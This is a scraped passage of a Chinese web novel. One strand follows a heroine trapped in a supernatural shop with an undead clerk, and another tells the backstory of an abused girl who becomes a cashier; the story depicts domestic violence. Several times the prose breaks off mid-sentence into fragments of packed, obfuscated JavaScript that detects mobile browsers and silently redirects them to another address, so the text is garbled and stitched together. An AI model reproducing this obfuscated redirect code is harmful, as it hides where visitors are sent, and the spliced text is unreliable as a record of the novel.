d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039434|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “顾客”的生机注入己身,最后取代“顾客”离开中立区。 所以在“店员”触碰到自己时,自己的体力流失得那么快,身上也开始出现了和“店员”一样的青灰色皮肤,而店员却越来越生动灵活,甚至能不断修复它曾经受过的致命伤。 容目垂着头,强迫自己盯住“店员”的喉咙,以防出现什么变故。之前自己曾经打中过“店员”两次,但都没有对它造成任何伤害,看样子是因为自己没有击中它的致命部位。 “店员”喉咙口流出的血渐渐变少了,伤口周围的皮肤重新萎缩下去,恢复成了容目最开始见到的样子,甚至显得更加干瘪,容目站起身,稍稍活动了一下四肢,发现自己的体力也基本上全部恢复了。 但她依然不敢掉以轻心,她现在对这个中立区还是一知半解,只是搞清楚了这个“店员”的逻辑,也不知道对破解中立区有什么帮助。 她侧过身子,用余光盯着“店员”,防止它再有异动,脚下谨慎地、一步一步地向已经碎得看不出原本样子的门口挪过去。 万一呢?万一击倒“店员”就是离开中立区的条件呢?容目想试一试。 两分钟后,她背靠残缺的墙壁,面对“店员”的方向,“扑通”一声坐在了地上。 “果然……还是不行啊。”她叹了口气。 她向后仰着头,抵在墙上,给自己一点缓冲时间。制服“店员”并不是通关的最终条件,那会是什么?难道真的是寻找正确的商品吗? 可是寻找商品可以说是大海捞针,她连一点点提示都没有获得,又怎么能在被灰尘蒙得看不出本来面目的商品中找出正确的那一个? 更何况……找到商品之后,她还需要到收银台前,找“店员”确认,如果又错了,那不就又回到了之前的境地吗?陷入了死循环。 容目揉了一把脸,将面孔埋在手心里,一时有些茫然。这几个小时里,她一直在试错,而且试错成本非常高,却依然没摸到中立区规则的边。 她能怎么办? 收银台旁边躺着的“店员”似乎缓过劲来了,正在尝试着爬起来,它的肢体与地面摩擦,发出“窸窸窣窣”的声音。即使在这种情况下,它还是尽忠职守,牢记自己店员的身份,不断从更加破损的喉咙中发出几乎像是鬼哭一般的声音: “顾……客请……到收银台……结账。” 容目猛地抬起头,看着“店员”僵硬地从地上爬起来,中途还因为站不稳而摔倒了几次。 “你……需……要什么……商品。” “店员”将全身的重心都放在了双腿上,上半身东倒西歪,最后半趴在了收银台上。 它一双浑浊的眼睛没有焦点,只是对着容目的方向,说出的话近乎梦呓: “欢……迎……光临。” 容目撑着墙,慢慢站直了。这三句话她已经听过无数次了,从她进入商店开始,到她挑选商品,被“店员”追逐,这三句话一直在她耳边回响,“店员”异常执着地重复着这三句逻辑顺序上完全倒着来的话。 如果……中立区给出的提示就藏在这里呢? 22. 第22章 提示 “啪!”装着食物的塑料包装袋掉在地上,发出轻微的一声脆响,激起一小片灰尘。 容目紧盯着扯出巨大微笑的“店员”,迅速向旁边一扑,就地翻滚,险险避过了从暗处投掷过来的几把菜刀。 “又错了。”容目疲惫地喘了口气。别看这家商店小,货物种类也并不齐全,但不知道怎么的,菜刀却特别多。 每一次容目猜错商品,都会有许多把菜刀从暗处弹出,像长了眼睛一样追着她扎,容目在前几次被打了个措手不及以后,也勉强找到了点规律,能比较从容地避过这些菜刀了。 收银台前的地上现在扎满了银光闪闪的菜刀,每一把都磨得很锋利,是精良的武器。容目之前一直希望自己能找到攻击力强一些的武器,没想到确实在这种令人哭笑不得的境遇里成真了,如果这些菜刀不是追着她砍就更好了。 现在,容目要躲避投过来的菜刀,不能只顾着空中划过的那些刀具了,脚下那一片寒光四射的“刀林”也同样是躲避的重点,如果不小心让刀刃刮到了,可能就会有一片皮肉被毫不留情地削下来。 容目气喘吁吁地停下脚步,警惕地扫视着四面八方,一切重归静寂,“店员”轻轻活动了一下脖颈,发出骨节撞击的咔咔声,随后,它晃晃悠悠地向容目迈步走过来。 看见“店员”的动作,容目知道,这一次刀具攻击结束了。 她急速后退拉远距离,继续在狭小的商店里和“店员”兜圈子,心里压不住地焦虑起来。 一小时之前,她想从“店员”翻来覆去,颠三倒四的这三句话里找出可用的信息和提示,但是除了发现“店员”的语序逻辑是反着来的之外,就没有其他的进展了。 无奈之下,容目又返回了老路,在不断寻找商品、拖延时间的同时,她的脑海中也在持续思索破局的关键。 她将全部的动作都维持在一个水平线上,在保证虚弱的“店员”无法触碰到她的同时,尽可能地慢下来。 她现在寻找商品的行为大概率是无用功,是错误的方向,于是容目也不再费尽心思精挑细选了,随便抓起一个商品送到收银台前就行了。 “店员”失去了大部分能量,现在虽然执着,却有些力不从心,连那三句话都变得含混不清,不仔细听根本无法分辨出来。 逻辑上倒着来……容目在心里慢慢地咀嚼着这几个字,中立区有什么逻辑是可以反过来的? 难道是要倒退着走出商店吗?一个念头突然闪进容目脑海,随即又被她哭笑不得地否决了,这种离谱的答案确实太不着调了。 话虽这么说,但是过了十分钟,她还是跑到门边尝试倒退着往出走。不出所料,她又被门口的力场凝固住了动作,即使背对着大门,中立区显然也并不买账。 她无奈地再次迈步躲开刚刚到达她身边的“店员”,向收银台方向走去。 收银台上,那台被“店员”开启的电脑莹莹地亮着微光,照亮了桌面前的一小片空气,看了无数次的收银台依然保持着原状,还保留着容目之前随意抛在台面上的那袋小零食。 容目心头一动。这么长时间以来,她都没有仔细检查过收银台附近的区域,因为附近空荡荡的,不存在货架和商品,她也就下意识地略过了收银台。 如果去看看那台电脑,上面会不会有什么重要的提示? 她三步并作两步加快速度,将与“店员”之间的距离拉大,然后迅速翻过收银台狭窄的台面,进入收银台内部。 容目目标明确,扑到电脑前,来不及喘匀气,目光就急急从电脑屏幕上扫过。 出乎意料的是,电脑上压根就不是货品名称之类的东西,甚至都不是文字! 屏幕上,灰色的监控录像安静地亮着,如同一只一眨不眨的眼睛,观察着容目的一举一动。 如果不是货品名称,那她第一次找到商品时,店员敲打电脑键盘干什么?客人要买商品,它却要先看监控录像才能确定商品是否正确?这是什么逻辑? 自从进入这家商店以来,容目一直处于一种一头雾水的状态,身边的一切都仿佛蒙在一层阴影里,影影绰绰的让人看不真切。 现在的监控录像也同样让人摸不着头脑。 她抬头看了一眼,发现“店员”已经慢慢地走近了收银台,那张青灰色的干瘪面庞上,嘴角高高扬起,扯得皮肤都出现了许多褶皱,它却恍若未觉,嘴里咕咕哝哝地念叨着那三句话。 容目跳上收银台,从远离它的另一侧冲出去,重新进入货架区域。 现在是一个两难的处境。 “店员”的动作虽然迟缓,但事实上也不算慢,她争取出来的时间肯定不够看完监控录像的。但如果不看,她的直觉又在提醒她,那是一个重要的线索。 容目焦躁地叹了口气,在翻倒的货架间来回穿梭,和“店员”放风筝,心里突然闪过一个念头: 能不能把“店员”暂时拖住。 它肢体并不协调,攀爬、跳跃、拖拽等动作做起来并不容易,如果挡住它,暂时阻止它向自己靠近,就能争取到看监控视频的时间。 心下一定,容目四下一扫,向其中一个将翻未翻的货架发足冲去。 “店员”并没有多少智慧,只知道跟着容目移动,对周围的环境毫不在意,也看不出容目的意图。 容目粗略计算着时间停下脚步,在“店员”即将经过货架的瞬间暴起!她用尽全力,一脚踹在货架摇摇欲坠的底部,让货架随着她施加的力直直倒下。 “砰!”巨大的响声响彻商店,货架倒地激起了大量灰尘,一瞬间,容目的眼前尽是翻腾的灰雾,什么也看不清。她不小心吸入了漂浮的尘埃,不由剧烈地咳嗽起来。 她没看清自己是否砸中了“店员”,只能慢慢向后退,预防可能出现的危险。 商店内重归安静,容目耐心地等着灰尘渐渐平静下来,落回地面。第一眼,她没看到“店员”的身影。 等她再仔细向那个方向看去,容目终于看见了一个什么东西动了一下,似乎在挣扎。 她长舒一口气,身上紧绷的肌肉放松下来。 “店员”被货架严丝合缝地压在了地上。事实上这个货架并不十分沉重,如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039435|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛地一发力就可以将它抬起来,但是以“店员”目前可怜的肢体协调度,这个货架足以牵绊住它不短的一段时间。 容目最后绕过去检查了一下,确认“店员”短期内不可能从货架底部挣扎出来,随即快步向收银台跑去。 这是一个千载难逢的机会,她可以认真地看一看监控录像,找找线索。 电脑屏幕上,监控画面依然在不急不忙地播放着,这似乎不是实时监控。不,与其说是监控,不如说是监控视角下,来自过去的一段视频。 容目赶到的时候,视频已经播放一段时间了,因此她没能看见视频的开头部分,但是很快,容目就皱起了眉头——不,不对!开头还没有播放,她错过的是结尾。 这是一段倒放的视频。 视频中的场景依然是这家商店,而且,应该是副本降临之前,普普通通的商店。 身材消瘦,面容清秀的女店员正站在其中一个卖刀具的货架前,和身材魁梧的男人说着什么,她的态度不算激烈,但眼角眉梢间遮不住的焦虑与恐惧还是泄露了她内心的真实想法。 魁梧男人手里攥着一把刚从货架上拿下来的菜刀,情绪激动,额角和脖颈青筋凸起,一副怒不可遏的样子。他手中拿着的那把刀甚至还在空中挥舞了几下,更令女店员面色煞白,几乎要哭出来。 随后,男人将手中的刀放回货架,两人倒退回到收银台前。 男人在收银台外侧站定,女店员则倒退回收银台内侧,先是惊慌又恐惧,但很快她又面带微笑,对男人说着什么。 再然后,男人倒退着来到商店门口,门在他身后自动打开,他倒退出去,又倒退着在门外的街道上渐渐远去了,玻璃门缓缓合上,店内没再进人,女店员安安静静地低下头,继续做自己的工作。 视频到此结束,屏幕黑了下来,倒映出了容目眉头紧锁的面容。 破旧的商店内一片寂静,只剩下“店员”在货架下不断撞击挣扎的闷响回荡在室内。 容目吐出一口浊气,揉了揉有些发痛的太阳穴,尽管视频没有声音,而且还是倒放,但是事情的经过已经比较清晰明确了。 那个男人来到商店,与女店员不知怎的发生了口角,然后情绪激动之下用店里的菜刀杀害了店员。 如果她没猜错,现在这个中立区里的“店员”,与视频中的店员应该是同一个人。 “店员”口中一直念叨的那三句话,也可以一一对应到视频的场景中去。 “顾客请到收银台结账。”对应的是男人拿起菜刀,店员以为他想要购买这把刀时所说的话。 “你需要什么商品。”对应的是男人走到收银台前和店员交流时,店员询问男人的话。 而“欢迎光临。”就是男人刚刚进入商店时,店员对他说出的欢迎词。 容目无奈地叹了口气,即使她现在推理出了整件事情的经过,也搞清楚了“店员”颠三倒四说话的对应场景,但这些对她逃出中立区没有什么实质性的帮助,而且,这也引出了一个全新的问题: 为什么,这段监控视频是倒放的? 23. 第23章 夏欣 夏欣从很小的时候就知道,自己不应该出现在这个世界上。 这个认知像刻在骨子里的烙印,经过时间的磨砺,烙印下的痛苦已不再铺天盖地,而是收敛了侵略性,变得隐忍而迟钝,只在某些特定的时候,才会跳出来扎她一下,带来几乎麻木的痛楚。 她的出生本身就是一个错误,是母亲年轻时一场糊涂恋爱的苦果。那个被称为“家”的地方,对她而言从来不是温暖的港湾,而是充斥着酒精、咒骂与绝望的囚笼。 她知道,母亲恨她,她是母亲的累赘,是一个甩不掉的拖油瓶。不止一次,母亲在家中酗酒,醉醺醺地瘫在地上,发出撕心裂肺的哭嚎,咒骂那个负心的男人,怨恨命运的不公,当然,总少不了用尖锐的指甲狠狠掐住夏欣的胳膊,在上面留下青青紫紫的痕迹。 “要不是你。”母亲猩红又浑浊的眼球恶狠狠地盯着她,声气里的怨毒让当时年纪尚小的夏欣狠狠地打了几个寒战,“要不是你,我早就脱离这个泥潭,拥有新生活了!都是因为你!你这个扫把星!” 有好几次,夏欣以为母亲终于忍受不了她的拖累,要一走了之,断绝和她的一切联系追求新生活去了,但是,母亲最终还是没有这么做。她留了下来,日复一日地留了下来。 夏欣有时候会想,是不是在母亲心底里,她也有那么一小块位置,母亲会不会也是爱她的,只是她的爱表现得如此不同寻常。 她希望母亲能陪在她身边,尽管她得到的永远不会是温情,只有无休止的谩骂与怨毒,但是她依然渴望待在母亲身边,那是她难得安心的机会。 她就这样慢慢地长大了,在这个城中村里,在这一间终年不见阳光的廉价出租屋里,一点点长大了。 她熟悉因潮湿而斑驳脱落的发霉墙壁,熟悉空气里混杂着的劣质烟草、隔夜饭菜和若有若无的腐败味道。然后,在五岁那年,她的生活中迎来了第一个变数,第一个走进这间出租屋的陌生人。 母亲说,这个陌生人是她的继父。 五岁的夏欣还没学会用复杂的语言描述自己内心的感受,她只是用孩童特有的敏锐与直觉意识到:她不喜欢她的继父。 后来的日子里,她的这一想法一次次得到了现实的印证。 继父没有固定工作,只靠打零工和母亲的微薄收入过活,他更多的精力则消耗在了喝酒和赌牌上。 小小的夏欣记得无数个惊恐的夜晚,她被隔壁房间里继父和母亲激烈的争吵和摔打声惊醒。继父粗鲁的吼叫夹杂着母亲压抑的哭泣,像冰冷的针,一遍遍刺穿她童年的梦境。 她不明白,母亲为什么会将家庭托付到这样一个人手里?一个一事无成、只会向妻女发泄无能怒火的男人,如何能支撑起一个家? 早晨起床的时候,她时常会看到母亲面颊上多出的淤青和血痕,母亲面容憔悴,头发散乱,无声地走进厨房,端出为她准备的早饭,很寒酸,但每天都会准时出现在早餐桌上。 夏欣稍微懂事一点以后,帮母亲给伤口上药。她看着那些伤痕,沉默了很久,轻轻地说:“妈妈,我们走吧,离开他。” 母亲却只是温顺地摇了摇头,没说话,只是缓缓地将自己的手搭在了夏欣的手上,又缓缓摇了摇头。 这是母亲与夏欣之间少有的温馨时刻,更多的时候,依然是无尽的怨毒与谩骂。母亲酗酒的状况越来越严重了,她一天一天地烂醉在客厅的沙发上,很久都不去工作。 每当她喝醉,都会抓着夏欣,嘴里颠三倒四地重复着:“你是个扫把星!没有你,我早就能离开这个泥潭了!” 夏欣近乎是茫然地任由母亲抓着自己,呆呆地看着母亲痛苦又扭曲的面容,脑子前所未有的迟钝,过了好久,才慢慢闪过一个念头:也许,我真的不应该存在于这个世界上。 夏欣在这个贫穷而缺失亲情的家庭里挣扎着,上了小学,又上了初中,继父只知道在外面胡乱花钱,不够了就打骂母亲一顿,从母亲身上挤出本应该贴补家用的生活费,过不了几天就又会花得一干二净。 夏欣申请了住宿和贫困生补助,虽然生活得紧紧巴巴、捉襟见肘,但是好歹不用向母亲要钱了,这多少让她心里好过了一点。 有时候,她也会刻意再节俭一点,攒下本就微薄的补助金,回家的时候偷偷塞给母亲。有一次被继父看见了,他勃然大怒,冲过来劈手夺过刚刚交到母亲手中的零钱,用一种阴翳的目光打量着夏欣,仿佛第一次认识她一样。 继父阴毒的声音从紧咬的牙缝中一丝丝泄露出来,带着冰冷的寒意:“真是长本事了,以前怎么没发现你也有钱,全都给我拿出来!” 夏欣被吓住了,只知道呆呆地站在原地,看着继父扭曲的面容。他那天喝了很多酒,整张脸都呈现着不自然的深红,配上那双浑浊又恶毒的眼睛,构成了夏欣此后很长时间的噩梦。 继父见她迟迟没有动作,很快就失去了耐心,上前两步伸手要来抓她的头发,嘴里骂骂咧咧地吐着脏话:“妈的,你也逼着我动手是吧!好话听不懂!” 夏欣没觉得自己能躲过去,她看着继父脑门上冒出的油汗,闻着越来越近,越来越刺鼻的劣质酒精味道,脑海里突然闪过了另一个不相干的念头:她的亲生父亲,究竟是什么样的呢? 她的目光越过继父越来越近的身影,看到了直愣愣坐在沙发上的母亲,自从继父夺过她手中的钱以后,她一直保持着这个姿势,目光呆滞没有焦点,仿佛在和虚空中的什么东西对视。 她们的眼神相撞了,母亲木木的眼球滚动了一下,向她和继父的方向转过来,好像才发现屋子里还有另外两个人。 夏欣的视线很快被继父遮住了,她感受到自己的头发被继父狠狠地揪起来,继父粗粝的手抡起来甩了她一巴掌,发出“啪”的一声脆响,夏欣后知后觉地察觉了疼痛。 这一巴掌的力气太大了,她的耳朵里嗡嗡作响,一时什么也听不清,她只能茫然地看着继父鼓凸出来的狞恶眼球,看着他口沫四溅地吼着什么,也许还是在要钱吧,夏欣平静地想。 又一个巴掌甩在了夏欣脸上,她的头磕在了水泥墙面上,眼前一阵一阵发黑,这一次,她看不清继父脸上的表情了,一切都变成了一晃一晃的重影,层层叠叠地在她眼前乱晃。 夏欣快要感觉不到疼痛了,额角留下了什么热热的东西,慢慢地滑落到嘴角,又滴到下巴,她无意识地伸出舌头舔了一下,后知后觉地品出了铁锈味,原来是她流血了啊。 似乎是流出的鲜血让继父找回了些许理智,他松开了揪着她头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039436|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手,随意地将她扔在了墙角,咕咕哝哝骂了一句什么,然后攥着刚抢来的钱急匆匆地走了。 夏欣躺在冰凉的地板上,昏昏沉沉、意识模糊、似梦似醒,她半睁着眼,却什么也看不清,一切都变成了模模糊糊的色块,没有了形状,只是不断地在她眼前旋转、旋转……像一个个黑洞,想要将她拉入万劫不复的深渊。 她不知道自己在地上躺了多久,她已经失去了对时间和空间的感知能力,她唯一存在的触感也只是能让她感受到地板的坚硬和寒冷。 已经十二月了啊……她迷迷糊糊地想,可是我们的小家里还没有来暖气,真的好冷。 一个跌跌撞撞的身影突然扑到她跟前,遮住了她眼前的光,夏欣看不清这是谁,她只能感受到对方好像正拿着什么东西一圈一圈地往她头上缠,她迟钝地反应了一会,才意识到那是纱布。 有什么湿湿热热的东西滴在了夏欣脸上,还有一滴滴进了她的嘴里,温热的、咸咸的,还带着一股微弱的酒精味,这是母亲的气息。 母亲哭了吗?是因为我吗? 虽然很痛,但夏欣的心里却突然爆发出了强烈的喜悦,原来,母亲会为她受伤而哭泣,原来母亲会心疼她。 失血太多了,夏欣眼前一阵阵发黑,身体越来越沉,向下坠着她,但她的心却被满足填充得满满的,轻盈地向上升……她满足地闭上眼睛,在母亲慌乱的包扎动作中,放心地闭上眼睛昏了过去。 不知道过了多久,夏欣悠悠转醒,还没睁开眼睛,鼻端却先闻到了消毒水的味道,凌冽而干净的气息环绕在周身,还有暖气在不断释放热量,让她一时有点恍惚。 这不是家里的味道,也不是家里所能拥有的温度。 夏欣慢慢睁开了眼睛,入目是一片洁白的天花板,白炽灯散发着明亮而恒定的光,照亮了这一个房间,长这么大,她还从来没住过这样整洁干净的房间。 她想抬起头或者转动一下脖子,看看四周到底是什么样子,但刚刚一动,脑袋上剧烈的疼痛就制止了她的动作,让她忍不住倒吸了一口凉气。 旁边传来“窸窸窣窣”的响声,母亲乱糟糟的长发垂了下来,有几根头发正好落在了夏欣的脸上,痒痒的,让她不由得想笑,她也确实这么做了,微笑留在她的脸上,越来越大,越来越开心,最后,她甚至笑出了声。 母亲冰凉的手指轻轻抚摸她的脸,对她突如其来的笑意感到莫名其妙。母亲担忧地将手放在她额头上,想看看她是否发烧了。 夏欣笑了一会,感到了疲惫,受伤让她的精力流失得很快,她轻轻咳了一下,让自己的声音不那么沙哑,然后问道:“妈,我们在哪里?” 母亲生疏地拍着夏欣的胳膊,像是在安慰她,也像是在哄她睡觉,过了一会,母亲轻轻地回应:“我们在医院,没事了,一切都过去了。” 夏欣想再多醒一会,想和母亲多聊几句,但是她太累了,刚刚的情绪波动也会加深她的疲惫程度,于是很快,她又迷迷糊糊地睡了过去。 母亲滚烫的泪水又滴落在了她的手背上,不知道在梦境中还是在现实里,她听见了母亲温柔而悲凉的呢喃:“欣欣,离开这个家吧,别再回来了。” 这是母亲第一次叫她欣欣呢,夏欣满足地想。 24. 第24章 噩梦 夏欣在医院里住了三天,这三天也是她短暂人生中最幸福的日子。 母亲一直守在她身边,无微不至地照顾她的饮食起居,在她疼痛难忍时尽力柔声安慰她,像所有的母亲一样为她的伤势担忧,一遍一遍地询问护士,不厌其烦地帮助夏欣换药。 继父也像完全消失了一样,从没出现在医院里。 夏欣甚至觉得,如果她的伤痊愈得再慢一点就好了,就这样和母亲一直一直待在一起,待在这样明亮整洁的房间里,度过接下来的人生。 但她的伤还是好了,头上曾经血流如注的伤口慢慢愈合,虽然看起来很严重,还包着纱布,但是医生说她已经可以出院了。 “只要不剧烈运动或者撞到伤口,保证每天换一次药,你的伤很快就能好了。”护士姐姐笑眯眯地看着她,温柔地拍了拍她的肩膀,可夏欣却只能感受到空落落的失落。 她跟着母亲离开了整洁的医院,回到了她们破破烂烂的、寒冷的小家,唯一值得庆幸的是继父依然不在,这让她微微松了口气。 母亲在家里翻箱倒柜地找了一会,掏出一把皱巴巴的零钱,最大面额是十块,母亲将这一把零钱塞进她手里,小声嘱咐:“收好,然后回学校,别再回来了。” 夏欣愣愣地握着一把零钱,一时没反应过来:“周末也不可以回来吗?” “对。”母亲斩钉截铁地说,有一种冷硬的东西在她脸上浮现出来,“周末也不能回来。” 夏欣想说点什么,但她张了张嘴,却一个字也没说出来。她已经不是小孩子了,她上了初中,也明白了很多东西,她知道母亲只是想保护她,不让她回家也是保护她最好的方式。 道理她都懂。但是…… “你怎么办呢?”夏欣喃喃地说,“你该怎么办呢?”她的眼中蓄满了泪水,看什么都蒙着一层水雾,仿佛盖着一层她无论如何也揭不开的纱。 母亲站在原地扭过头,固执地望着房间另一头斑驳脏污的墙面,好像那上面有什么非常吸引她的东西。 室内一片寂静,只有夏欣控制不住的抽噎声不时回响在空气中,她感觉自己肺里的空气有些不够用了,她的心脏像是破了一个大洞,有气无力地跳,却带不来温暖,只能带着冷风从后背穿到前胸,那是透彻心扉的凉。 母亲一直扭着头,不肯看她一眼,如同一尊被命运随手雕刻,又随手抛弃的雕像。 过了好久,母亲才终于又开口了,声音有点哑,但却透着前所未有的坚决,她转过脸面对着夏欣,目光很冷、很硬,“回学校去。”她说,“现在就回。” 母亲拒绝回答夏欣的问题,任凭夏欣如何哭泣、哀求,她都再也没有说过一个字,只是用那双浑浊的、冷硬的眼睛凝视着她,逼迫她听从那个命令。 夏欣不知道那一天她是怎么离开家的,她带上了足够的药品,衣服兜里揣着母亲找出的那卷皱巴巴的零钱,拖着脚步走在熟悉的街巷间。 她像一具行尸走肉,身体在地面上行走,可灵魂却失去了方向感,高高地飘在半空中,茫然而不知所措。 她看着自己经过熟悉的临街店铺,看着自己站在路口平静地等红绿灯,看着自己来到学校门口一如往常般与门卫大叔交谈…… 一切都很正常,一切都平稳地运行在相对应的轨道中。夏欣回到宿舍,今天是周六,室友们都还没有回来,她将自己扔在床上,把脸深深埋在柔软的被褥中,似乎想以这种方式汲取一点温暖。 母亲为她请了三天假,从理智上来说,她现在应该立刻爬起来,翻开书,补上落下的功课,毕竟初二的课程也已经不那么简单了,夏欣一直以来也是一个理性的人。 但是她爬不起来,她的躯壳沉重地拖拽着她,她一次一次地挣扎,却又不断被笨重的身体绊倒,重新栽回柔软而厚重的被褥里,她的床变成了沼泽,她惊恐地挥舞四肢,试图自救,也试图呼救,可是四周空无一人。 被褥渐渐蔓延上来,死死地裹住了她的身体,如同捕猎的蛇,一圈一圈地缠紧了它的猎物,随时准备给予猎物致命一击。 夏欣胸腔中的空气越来越少,随着被褥越收越紧,她吸不进一点空气,只能绝望却又软绵绵地用拳头捶打她所能触及到的一切,却造不成丝毫伤害。 她眼睁睁地看着那一条被褥卷成的蛇缓缓游过来,慢条斯理地一圈圈缠绕在自己脆弱的脖子上,然后优雅地收紧、再收紧…… 最终,世界变成了一片漆黑。 “啊!”夏欣猛地从床上坐起来,惊魂未定地喘着粗气。她迟疑着伸出手摸了摸自己的脖子,窒息的感觉依然环绕着她,她随手抓起一面镜子照了照,她的脖子完好无损,没有丝毫伤痕留存的痕迹。 “还好……是个噩梦。”夏欣捂住额头,又倒回了床上。原来是她回到宿舍以后不知不觉睡着了,然后做了一个奇怪的梦,但那梦境过于逼真了,甚至让她以为自己在梦中真的死了一回。 “被自己的被褥谋杀了。”夏欣无力地扯了扯嘴角,“好荒谬的情节。” 她转头看向窗外,装着防盗网的窗户已经被夕阳的余晖暖融融地包裹住了,一层柔和的金光漫漫扬扬地铺在窗框上,有一些还渗进了地板缝里,为昏暗的室内增添了一丝暖意。 夏欣看了一会阳光,思绪渐渐回笼,悲伤后知后觉地追了上来。 母亲赶走了她,想要独自承担一切后果,而自己却又无能为力。 她坐起来,发了一会呆,擦干净脸上的泪水,下床走到自己的书桌前,拉开椅子坐下了。 她只有十四岁,即使生活在那样的环境里让她更加早熟,更懂得一些人情世故,可她也依然是一个孩子。 这个孩子遇见了一个巨大的难题,她没有能力改变现状,也根本不知道该如何解决目前的困难,她不知道该如何自救,也不知道该向谁求救。 她被困在了一个孤岛上,和梦境中一样,周围空无一人。 虽然母亲从没有说过,但是夏欣知道,如果自己好好学习,母亲会很高兴。 她见过母亲捧着她带回来的证书微笑的样子,她也知道,母亲偷偷把那张证书藏在了衣橱的一个角落,时不时地,母亲就会悄悄地把证书拿出来摸一摸、看一看。 这是她们之间的秘密。继父不知道她得过证书,即使知道了,他也只会从鼻子里轻蔑地哼出一声,“一天天净整这些没用的,有这功夫还不如早点出去打工赚钱,女的读这么多书有个屁用。” 夏欣翻开书,她一个字也看不进去,只觉得那些字像是一团团迷雾,随意地排列组合,在她眼前混做一团,让人辨不清原貌。 她不可遏制地又想起了母亲,想起了她躺在医院时与母亲的那些温馨时光,思绪跳转,她又想到了继父,他那阴狠毒辣的目光不断浮现在她眼前。 夏欣猛地合上书,胸口剧烈起伏。她突然站起身,在狭小的宿舍里来回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039437|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踱步。夕阳已经沉下去了大半,只剩下一线微弱的光勉强留在地平线上,宿舍里没有开灯,昏暗的光线把她的影子拉得很长。 “不行。”她停下脚步,对着空荡荡的宿舍轻声说,“不能这样。” 她走到窗边,手指紧紧抓住冰凉的窗框。防盗网把天空割成一个个小方块,就像她的生活,被禁锢在一个看不见的牢笼里。 夏欣转身快步走到书桌前,从底层抽屉里掏出了一个粉红色的小猪存钱罐,表面已经有些掉漆了,摸起来微微有些粗糙,这是她上小学时,母亲送她的生日礼物。 她把存钱罐里的钱全部倒出来,又加上母亲今天给的那一卷零钱,仔细数了数。不多,但是也足够她生活一段时间了。 夏欣将皱巴巴的纸币仔细抚平,按照面额叠好,她不能再依赖母亲了,事实上,母亲已经用最决绝的方式保护了她,同时也切断了她的退路。 从那天起,夏欣开始了与同龄人截然不同的生活。每天放学后,当同学们三两结伴前往小吃店或离校回家时,她总是第一个冲出校门,赶往三个街区外的一家小型便利店。 老板娘是一位四十多岁的中年妇女,面相严厉,但听完夏欣磕磕绊绊的解释之后,破例同意了让她放学后每天来这里工作四小时,时薪15元。这对于一个初二学生来说已经是不错的收入了。 “扫码要快,找零要准。”老板娘冷着脸盯着她的动作,“顾客不会有耐心等你慢悠悠地算数。” 夏欣用力点头,把每个操作步骤牢牢记在心里,她站在收银台后,略踮着脚才能看清屏幕。最初几天,她总是手忙脚乱,不是扫错码就是算错钱,被老板娘骂得狗血淋头,但老板娘却从来没想过要辞退她,夏欣知道老板娘在默默照顾她,但她现在也只能把感激埋在心底,用更加拼命的劳作来回报老板娘。 工作并不轻松,她要协助搬运沉重的货箱,擦拭积满灰尘的货架,处理挑剔顾客的抱怨。有时候遇到醉醺醺的客人,她会吓得躲到仓库里,等老板娘把人赶走了才敢出来。 老板娘知道夏欣的一部分家庭情况,也会在力所能及的范围内帮她一把,比如留她吃一顿饭,或者偶尔让她提早下班回宿舍休息。 夏欣像一只忙个不停的陀螺,不停地旋转着,尽全力平衡着学习和生活,不敢有丝毫松懈。 她拼尽全力地活着,将成绩保持在年级前列,在学期末给母亲寄出一份漂亮的成绩单,她知道,母亲会开心的。 初中毕业那天,很多同学都在讨论着各自的分数,以及要去哪一所高中,只有夏欣安静地收拾着书包,她已经做出了决定。 “我不读高中了。”她对班主任说,“我要全职工作了。” 班主任震惊地看着这个总是名列前茅的优等生,试图劝她改变主意:“以你的成绩,完全可以去最好的高中,向学校申请助学金,他们会同意的。” 但夏欣只是摇摇头,勉强微笑了一下,“我已经和老板娘说好了,毕业后就去商店里做全职收银员。” 她说这话时表情平静,仿佛在说一件与自己无关的事。只有紧紧攥着衣角的手,泄露了她内心的波澜。 第二天,夏欣正式成为了便利店的全职员工。她换上了蓝色的工作服,当第一位顾客走进店里时,她露出了练习过很多次的微笑: “欢迎光临。” 